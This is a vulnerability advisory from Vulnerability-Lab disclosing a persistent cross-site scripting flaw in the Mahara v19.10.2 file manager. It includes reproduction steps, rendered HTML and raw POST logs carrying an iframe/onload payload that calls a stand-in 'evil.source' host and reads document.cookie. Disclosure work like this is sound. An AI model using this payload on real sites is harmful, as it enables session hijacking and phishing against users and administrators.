Mahara v19.10.2 CMS - Persistent Cross Site Vulnerability

Document Title:
===============
Mahara v19.10.2 CMS - Persistent Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2217


Release Date:
=============
2020-04-20


Vulnerability Laboratory ID (VL-ID):
====================================
2217


Common Vulnerability Scoring System:
====================================
4.3


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
A fully featured electronic portfolio, weblog, resume builder and social networking system, connecting users and creating 
online communities. Mahara is designed to provide users with the tools to create a personal and professional learning 
and development environment.

(Copy of the Homepage: https://launchpad.net/mahara & https://mahara.org/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the Mahara v19.10.2 CMS web-application.


Affected Product(s):
====================
Catalyst IT Ltd.
Product: Mahara v19.10.2 - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-04-21: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Mahara v19.10.2 CMS web-application series.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser 
to web-application requests from the application-side.

The persistent vulnerability is located in the `nombre` and `descripción` parameters of the `Ficheros` module in the `groupfiles.php` file.
Remote attackers with low privileges are able to inject own malicious persistent script code as files and foldernames. The injected code can 
be used to attack the frontend or backend of the web-application. The request method to inject is POST and the attack vector is located on 
the application-side. Files are able to be reviewed in the backend by higher privileged accounts and can be shared.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to 
malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Ficheros (Files Manager)

Vulnerable Input(s):
[+] Crear Carpeta

Vulnerable File(s):
[+] groupfiles.php


Vulnerable Parameter(s):
[+] nombre
[+] descripción 

Affected Module(s):
[+] Página principal 


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce ...
1. Open the web-application and login as regular user
2. Move inside the mygroup management
3. Open the ficheros tab on top
4. Inject test payload into the crear carpeta (Nombre & Descripción) input field for the página principal to output
Note: The execution point occurs on edit, list and delete interaction
5. The created path listings are available for higher privileged user account that review (Backend)
6. Successul reproduce of the persistent cross site web vulnerability!


PoC: Vulnerable Source (Inject via Crear Carpeta Input for Página Principal)
<tr id="file:7191" class="file-item folder no-hover ui-droppable">
<td class="icon-cell">
<div class="icon-drag ui-draggable ui-draggable-handle" id="drag:7191" tabindex="0">
<span class="sr-only">Seleccionar y arrastrar para mover &gt;"&lt;iframe src=evil.source onload=alert(document.cookie)&gt;&lt;/iframe&gt;    
&gt;"&lt;iframe src=evil.source onload=alert(document.cookie)&gt;&lt;/iframe&gt;</span>
<span class="icon-folder-open icon icon-lg " role="presentation" aria-hidden="true"></span>
</div></td>
<td class="filename">
<a href="https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&amp;folder=7191&amp;owner=group&amp;ownerid=27" 
id="changefolder:7191" class="inner-link changefolder">
<span class="sr-only">Carpeta:</span>
<span class="display-title ">&gt;"&lt;iframe src=evil.source onload=alert(document.cookie)&gt;&lt;/iframe&gt;    
&gt;"&lt;iframe src=evil.source onload=alert(document.cookie)&gt;&lt;/iframe&gt;</span>
</a></td>
<td class="filedescription d-none d-md-table-cell">
&gt;"<iframe></iframe>     &gt;"<iframe></iframe></td>
<td class="filesize"></td>
<td class="filedate">20/04/2020</td>
<!-- Ensure space for 3 buttons (in the case of a really long single line string in a user input field -->
<td class="text-right control-buttons ">
<div class="btn-group">
...	...
<button name="files_filebrowser_edit[7191]" class="btn btn-secondary btn-sm">
<span class="icon icon-pencil-alt icon-lg" role="presentation" aria-hidden="true"></span>
<span class="sr-only">Edit folder "&amp;gt;&amp;quot;&amp;lt;iframe src=evil.source onload=alert(document.cookie)&amp;gt;&amp;lt;/iframe&amp;gt;    
&amp;gt;&amp;quot;&amp;lt;iframe src=evil.source onload=alert(document.cookie)&amp;gt;&amp;lt;/iframe&amp;gt;"</span></button>
<button name="files_filebrowser_delete[7191]" class="btn btn-secondary btn-sm">
<span class="icon icon-trash-alt text-danger icon-lg" role="presentation" aria-hidden="true"></span>
<span class="sr-only">Delete folder "&amp;gt;&amp;quot;&amp;lt;iframe src=evil.source onload=alert(document.cookie)&amp;gt;&amp;lt;/iframe&amp;gt;    
&amp;gt;&amp;quot;&amp;lt;iframe src=evil.source onload=alert(document.cookie)&amp;gt;&amp;lt;/iframe&amp;gt;"</span>
</button></div></td>


--- PoC Session Logs [POST] --- (Mygroup Ficheros)
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27
Host: mahara_cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------98107146915324237501974151621
Content-Length: 4879
Origin: https://mahara_cms.localhost:8080
Connection: keep-alive
Referer: https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27
Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558; mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=&
files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_edit_orientation=0&
files_filebrowser_edit_title=>"<iframe src=evil.source onload=alert(document.cookie)></iframe>    >"<iframe src=evil.source onload=alert(document.cookie)></iframe>&files_filebrowser_edit_description=>"<iframe src=evil.source onload=alert(document.cookie)></iframe>     
>"<iframe src=evil.source onload=alert(document.cookie)></iframe>&files_filebrowser_permission:member:view=on&files_filebrowser_permission:member:edit=on&
files_filebrowser_permission:member:republish=on&files_filebrowser_edit_license=&files_filebrowser_edit_license_other=&
files_filebrowser_edit_licensor=>"<iframe src=evil.source onload=alert(document.cookie)></iframe>   >"<iframe src=evil.source onload=alert(document.cookie)></iframe>&files_filebrowser_edit_licensorurl=>"<iframe src=evil.source onload=alert(document.cookie)></iframe>    
>"<iframe src=evil.source onload=alert(document.cookie)></iframe>&files_filebrowser_edit_allowcomments=on&
files_filebrowser_update[7191]=Guardar cambios&sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1,1
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
cache-control: no-store, no-cache, must-revalidate
set-cookie: mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; path=/; secure; HttpOnly
content-encoding: br
X-Firefox-Spdy: h2-
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=
-
Host: mahara_cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------126319663526561351602937008964
Content-Length: 3721
Origin: https://mahara_cms.localhost:8080
Connection: keep-alive
Referer: https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=
Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558; mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76;
folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=&
files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_delete[7192]=&files_filebrowser_edit_orientation=0&files_filebrowser_edit_title=&files_filebrowser_edit_description=&files_filebrowser_edit_license=&
files_filebrowser_edit_license_other=&files_filebrowser_edit_licensor=&files_filebrowser_edit_licensorurl=&
sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1
-
GET: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
vary: Accept-Encoding
cache-control: no-store, no-cache, must-revalidate
set-cookie: mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; path=/; secure; HttpOnly
content-encoding: br
X-Firefox-Spdy: h2


Reference(s):
https://mahara_cms.localhost:8080/artefact/
https://mahara_cms.localhost:8080/artefact/file/
https://mahara_cms.localhost:8080/artefact/file/groupfiles.php


Security Risk:
==============
The security risk of the persistent cross site scripting web vulnerability in the web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™